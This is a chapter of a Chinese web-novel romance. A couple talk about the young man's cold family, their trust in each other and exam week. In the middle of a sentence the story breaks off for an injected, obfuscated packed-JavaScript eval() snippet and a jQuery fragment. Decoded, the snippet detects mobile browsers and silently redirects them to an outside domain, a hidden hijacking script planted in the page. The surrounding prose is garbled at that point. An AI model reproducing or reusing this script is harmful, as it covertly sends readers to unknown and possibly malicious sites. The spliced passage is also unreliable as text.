“我问了?”
“嗯,问吧。”
“我真问了?”
“嗯,真问。”
祁长弦觉得沈知光好可爱。他拼命忍着笑,正色道:“我保证,会说实话。”
但具体说多少真话,别管。
“第一件事——你为什么不主动告诉我自己的事情?包括兴趣爱好、口味偏爱,还有身边的好朋友、日常的小八卦……怎么都不和我分享啊?”
她不解,也不高兴。没有这些信息,她能关心、逗笑祁长弦的“资本”也是少的。祁长弦对她那么好,她也想好好爱他。
祁长弦蹙眉,张了张嘴,却不知道该如何回答。
沈知光堵死他的退路,撒娇似的捏住少年虎口:“不许说应付的话,也不许对我搞蒙太奇手法。学长,我们是恋人,恋人之间就是要诚实的,知不知道?”
“这个问题,原因可能要追溯到很久以前。”祁长弦垂眸,敲定好要说的话,确定无误后,才平静开口:“我的成长环境和大部分同龄人不太一样。小学连跳三级,到了初中又跳一级,所以一直没有关系很好、可以彼此倾诉内心的朋友。而且,我不太懂信任。”
几乎无意识的,他把女友的手掌完全包住,不允许对方有任何挣扎的空隙,而沈知光也没想过挣脱,甚至主动握紧。
“我的父亲不靠谱,母亲离开的早,没人教我怎么正确的处理人际关系,所以我只能浅显地学一学,自己总结规律。”
“那你总结出来了吗?”她轻声细语。
“嗯,大差不差。面对男生,态度不重要,重要的是——要和他们讨论游戏、政治、军事、黄段子;面对女生,要足够的安静、柔和、尊重,谈什么倒是其次;面对能力者,要展露个性、有些锋芒,但底色必须是谦逊稳重;面对……”
“祁长弦,别说了。”不知道为什么,沈知光有些窒息,她只是想象了祁长弦的过去,就觉得心脏闷到难受。
频繁切换的学习环境,比自己更大的、不知道有没有霸凌爱好的富二代们,没有父母的指引教导,没有朋友的陪伴交流。平心而论,沈知光是绝不能在这种环境下生活的。
可祁长弦不仅这么长到十八岁,还得到了许多同辈都无法企及的成就。
他究竟需要付出多少东西?
“怎么又哭了?不要哭,经期不能伤心。”手指触上冰凉的液体,清浚的眉眼漫上茫然,祁长弦低头,用唇轻轻碰她的侧脸。
沈知光抽抽鼻子:“我就是,觉得你好辛苦。明明你已经投胎到一个很有钱的家庭了,为什么还要活得那么累呢。”
祁长弦沉思,认真哄她:“其实还好。想要的东西在最上层,当然要垫脚去够。等价交换而已,不要因为这个难过。而且你不是喜欢花钱吗?我多努力一点,你就能花的更多,这么想一想,会不会高兴?”
沈知光悲愤,埋他怀里呜咽:“完蛋,听你这么一说,我好有负罪感,感觉自己像你的吸血鬼。”
“吸血鬼?”听到比喻,祁长弦挑眉,“也不错。那可以只有我一个血仆吗?”
他的怀抱好像更加炙热。
“祁长弦,你又说甜言蜜语…”
祁长弦只是笑,转移话题:“仅仅对你一个人说,当然是多多益善。现在,你可以提第二个问题了。”
“哦。那你具体有几个兄弟姐妹啊,你爸爸……又有过几位夫人?”
关键时刻,沈知光多少有点脑子。抽泣归抽泣,心疼归心疼,但某些事依旧需要确认。如果祁家真的有“祭妻”传统,祁长弦的态度也偏向“中立”,那她肯定得及时抽身而出。
爱重要,钱也重要,生命更重要。
祁长弦说得平淡:“不出意外的话,我只有一个弟弟,老祁外面有没有子女不清楚。他一共娶过三任老婆,原配,我妈,继母。”
“那除了你妈妈是车祸意外去世,祁总和原配夫人是和平分手吗?”
祁长弦瞥她发顶一眼:“意外死亡,购物时遇到神经病,三刀致命伤。”顿了顿,又说:“怎么突然问这个。”
沈知光说谎时的神色不太自然,但音色一如往昔,听上去很轻快:“好奇啊。就是觉得小说照进现实了,好不容易遇到豪门,想要多知道一些。”
“现在还不是,等以后吧。”祁长弦似乎没把她的偶尔一问放心里,“还有问题吗?”
“嗯……你们家,信不信神佛啊?之前看港岛新闻,经常能看到一些豪门纠纷,感觉有点封建迷信,就想知道,内陆是不是也这样。”她无声地吞咽口水,语气不变。
“这个么。”
祁长弦冷冷一笑,眼中不知装了对谁的讽刺,嘴里温温柔柔回:“信则有,不信则无。老祁挺信这个,但我只信我自己。”
祁长弦对鬼神没半点敬畏之心。如果求神拜佛有用,那他早就是世界之王了。
“还有想知道的吗?”他摸摸她的长发。
沈知光:“就目前来说,你不喜欢你的家人吗?”
“不是不喜欢,光光。”
祁长弦好好先生般,如此纠正:“是异常厌恶。所以日后,你也不需要担心什么婆媳问题与亲情扯皮。他们都是外人,只有我们两个才是一家人。”
对此发言,沈知光深感放心。她露出笑意,故意清清嗓子:“但你只说对了一半。我的亲人也是我们的家人啊。既然你已经和我在一起了,那就是我们沈家人,绝对不会亏待你。有什么事都可以告诉我们的。”
祁长弦却摇头:“有些事,用不着你和沈家出面。祁家和太多公司都有合作牵扯,底下的恶心事只多不少。沈家不能沾上这些。”
他不会拉沈家下水。如果自己最后没有成功,起码沈知光还有退路。若沈家站到了自己身边,毫无疑问,沈知光的稳定很是堪忧。
祁长弦不做冒险的事。
她好奇:“你是怕连累我们吗?”
他答非所问:“多数情况下,一个家族的兴起,至少需要三代人的托举。沈家是靠读书起来的,更不容易。”
学术圈的水很深,有些事甚至不能公开说。祁长弦把为数不多的良心都给了沈知光,自然会爱屋及乌。
“好了。不说这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439697|161914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个了,还有什么想知道的?有关我的事。”
聊的太久,沈知光忍不住打哈欠,含含糊糊道:“按理来说是有的,可我现在突然想不起来了。”
“那就先休息。玩会儿手机,还是直接睡?”温暖的指腹捏捏她耳垂,询问意见。
怎么痒痒的。
沈知光不禁耸起肩膀。
祁长弦有所察觉,试探性的,指尖又滑到她耳尖,似有似无的触感像是在挑逗。
沈知光红了脸。她有点不服气,索性撑着他腹肌,直起半个身子,一眨不眨地盯过去:“祁长弦,比起玩手机,我更想亲你。”
对方歪头,顺势后仰,做出一副“你可以为所欲为”的样子。
“那么,沈小姐请?但发泄完毕,还是要早点休息。”
他会满足沈知光的一切愿望。红的白的黄的,都不分家。
沈知光羞赧:“我知道的,你闭上嘴啦!”
大二下的期末复习周很独特。
两位小情侣几乎是每天都挂着视频通话,沈知光强调过自己最近的状态还不错,但祁长弦却搬出妇科医生与科学研究,非说她需要陪伴。
沈知光面上不说什么,心里爽的一批。
“学长,我最近读到了一句话,觉得很有道理。”
首场考试就在明天,沈知光却不继续死啃知识点了,转而刷起了某音放松休闲。
祁长弦侧过头,确定她后腰上的毛巾暖袋还是热的,便收回目光:“怎么说?”
沈知光抑扬顿挫:“如果你觉得自己被爱了,那就是忘记查手机了。”
祁长弦:“……嗯?”
怕他没听清,沈知光再次抑扬顿挫了遍。
祁长弦哽住。他浅吸一口气:“光光,或许我已经把你的指纹录进手机了。”
“不是,学长,你就不能配合我玩一下深情被辜负的戏码吗?”沈知光回头嗔怪他,祁长弦扶额:“那我的台词应该是什么呢?”
他说话没轻没重,有点怕沈知光受不了破防。
“让我想想……”她绕着下巴打圈,各种“渣男负心话术”在大脑中跳啊跳,结果短短三句,就把自己气到了。
“算了,你还是别说那些话了,太糟心。”
祁长弦配合她:“嗯,我不说。其实,你想让我说——‘光光,我和别人不一样。我会永远永远喜欢你’,类似这样的话,是不是?”
沈知光捂脸不看他,用力点头:“你真聪明。”
祁长弦莞尔:“因为要配你。”
真会说话。
沈知光不语,只是伸出大拇指点赞。
第二天的考试是在下午,知光一觉睡到十点钟才睁眼,这时候祁长弦已经不在身边了。
她随手抄起枕边的手机看时间,却被陌生的屏保惊醒。
好家伙,居然是自己的照片啊?她睁大眼,瞌睡虫逃跑大半。
下一秒,突如其来的好奇心涌上来,驱使她指纹解锁了手机。
即将点进相册前,她偷偷向门外看。
很好,没有人。可以干坏事。